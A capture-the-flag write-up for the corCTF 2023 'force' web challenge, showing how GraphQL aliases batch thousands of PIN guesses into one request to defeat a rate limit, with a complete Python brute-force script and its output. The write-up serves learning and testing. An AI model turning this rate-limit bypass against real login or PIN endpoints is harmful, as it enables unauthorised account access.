force
Table of Contents
Overview
- Solved by: @siunam
- 118 solves / 124 points
- Author: larry
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
Unbreakable vault door!
Enumeration
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|12:31:22(HKT)]
└> file force.tar.gz
force.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 51200
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|12:31:25(HKT)]
└> tar xf force.tar.gz
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|12:31:41(HKT)]
└> ls -lah
total 36K
drwxr-xr-x 3 siunam nam 4.0K Jul 31 12:31 .
drwxr-xr-x 10 siunam nam 4.0K Jul 29 22:45 ..
-rw-r--r-- 1 siunam nam 109 Jan 1 1970 Dockerfile
-rw-r--r-- 1 siunam nam 14K Jul 31 12:31 force.tar.gz
drwxr-xr-x 2 siunam nam 4.0K Jan 1 1970 src
Dockerfile:
FROM node:18
WORKDIR /app
COPY src/package* ./
RUN npm ci
COPY src/ .
CMD ["node", "--expose-gc", "web.js"]
This Dockerfile
will pull the Node.js image from Docker, copy all the packages, web application’s source code, and run web.js
with garbage collector in Node.js.
Run the challenge locally with exposed port 80
:
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|12:39:36(HKT)]
└> sudo docker build -t force .
[...]
Successfully built 06d8d8ef5246
Successfully tagged force:latest
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|12:40:21(HKT)]
└> sudo docker run -p 80:80 force:latest
{"level":30,"time":1690778448201,"pid":1,"hostname":"162414d09221","msg":"Server listening at http://0.0.0.0:80"}
Home page:
In here, we can submit a query, and it looks like a GraphQL query?
Note: GraphQL is an API that when you send a query to the GraphQL endpoint, it’ll response you with some data or modify some data.
Burp Suite HTTP history:
When we clicked the “query!” button, it’ll send a POST request to /
with the query.
Let’s read the source code!
web.js:
import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'
const app = fastify({
logger: true
});
const index = await readFile('./index.html', 'utf-8');
const secret = randomInt(0, 10 ** 5); // 1 in a 100k??
let requests = 10;
setInterval(() => requests = 10, 60000);
await app.register(mercurius, {
schema: `type Query {
flag(pin: Int): String
}`,
resolvers: {
Query: {
flag: (_, { pin }) => {
if (pin != secret) {
return 'Wrong!';
}
return process.env.FLAG || 'corctf{test}';
}
}
},
routes: false
});
app.get('/', (req, res) => {
return res.header('Content-Type', 'text/html').send(index);
});
app.post('/', async (req, res) => {
if (requests <= 0) {
return res.send('no u')
}
requests --;
return res.graphql(req.body);
});
app.listen({ host: '0.0.0.0', port: 80 });
In app.register()
, we can see that the Node.js’s Fastify library app
registered (created) a new scope, and it’s using Mercurius library, which is a GraphQL adapter for Fastify.
In the GraphQL’s schema, it defines a flag
query with argument pin
.
If the pin
is not equal to secret
, it’ll return Wrong!
. If it’s correct, return the flag.
Hmm… What’s the variable secret
’s value?
const secret = randomInt(0, 10 ** 5); // 1 in a 100k??
It’s a random integer between 0 to $10^5$ (100000).
Uhh… Can we brute force the pin
?
let requests = 10;
setInterval(() => requests = 10, 60000);
[...]
app.post('/', async (req, res) => {
if (requests <= 0) {
return res.send('no u')
}
requests --;
return res.graphql(req.body);
});
So, when we send a POST request to /
, it first checks requests
is less than or equal to 0, the default value of requests
is 10
. If it’s less than or equal to 0, it’ll response us with no u
, and wait for 60 seconds to send request again.
If requests
is greater than 0, requests
will minus 1, and return the response of the GraphQL query.
That being said, POST endpoint /
implemented a rate limit, with 10 requests within 60 seconds.
Luckily, we can easily bypass that!
Exploitation
In GraphQL, there’s one thing called “Aliases”, which allows multiple queries being sent.
Armed with above information, we can abuse the aliases to bypass rate limiting!
Note: For more information, you can read this PortSwigger’s Web Security Academy GraphQL lab: https://portswigger.net/web-security/graphql#bypassing-rate-limiting-using-aliases.
To do so, we can send the following query using aliases:
{
flag0:flag(pin:0),
flag1:flag(pin:1),
flag2:flag(pin:2),
flag3:flag(pin:3),
flag4:flag(pin:4),
flag5:flag(pin:5)
}
As you can see, we can send multiple queries at the same time!
Let’s write a Python (overkilled) script to automate that process!
#!/usr/bin/env python3
import requests
import json
class Exploit:
def __init__(self, url):
self.url = url
@staticmethod
def getQueryWithAliases(startPinNumber, endPinNumber):
queryWithAliases = '{'
for pinNumber in range(startPinNumber, endPinNumber + 1):
if pinNumber == endPinNumber:
# "," in the last query is not needed
queryWithAliases += f'flag{pinNumber}:flag(pin:{pinNumber})'
break
queryWithAliases += f'flag{pinNumber}:flag(pin:{pinNumber}),'
queryWithAliases += '}'
return queryWithAliases
def bypassRateLimit(self, startPinNumber, endPinNumber):
queryWithAliases = Exploit.getQueryWithAliases(startPinNumber, endPinNumber)
response = requests.post(self.url, json=queryWithAliases)
if response.status_code != 200:
print(f'\n[-] Query failed...')
exit()
if 'no u' in response.text:
print(f'\n[-] Ahh... Rate limited... Please wait 60 seconds :(')
exit()
jsonResponse = json.loads(response.text)
for key, value in jsonResponse['data'].items():
isCorrectPin = True if value != 'Wrong!' else False
if isCorrectPin:
print(f'\n[+] Found correct PIN number {key[4:]}, flag: {value}')
exit()
if __name__ == '__main__':
isLocal = True
url = ''
if isLocal:
url = 'http://localhost/'
assert url, '[-] Please provide the remote instance\'s URL'
exploit = Exploit(url)
# I tried 50000 queries at one time, but it'll response
# HTTP status code "413 Request body is too large"
PIN_NUMBER_RANGE = 20000
SECRET_MINIMUM_INTEGER = 0
SECRET_MAXIMUM_INTEGER = 10 ** 5
for pinNumber in range(SECRET_MINIMUM_INTEGER, SECRET_MAXIMUM_INTEGER):
if pinNumber % PIN_NUMBER_RANGE != 0:
continue
startPinNumber = pinNumber
endPinNumber = startPinNumber + PIN_NUMBER_RANGE
print(f'[*] Trying PIN number between {startPinNumber} to {endPinNumber}', end='\r')
exploit.bypassRateLimit(startPinNumber, endPinNumber)
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|13:38:27(HKT)]
└> python3 solve.py
[*] Trying PIN number between 40000 to 60000
[+] Found correct PIN number 58114, flag: corctf{test}
Nice! Let’s spawn the remote instance and get the real flag!
if __name__ == '__main__':
isLocal = False
url = 'https://web-force-force-7b74f326dbf15733.be.ax/'
if isLocal:
url = 'http://localhost/'
┌[siunam♥Mercury]-(~/ctf/corCTF-2023/web/force)-[2023.07.31|13:40:14(HKT)]
└> python3 solve.py
[*] Trying PIN number between 60000 to 80000
[+] Found correct PIN number 65571, flag: corctf{S T O N K S}
- Flag:
corctf{S T O N K S}
Conclusion
What we’ve learned:
- Bypassing Rate Limit Via GraphQL’s Aliases (Batching Query)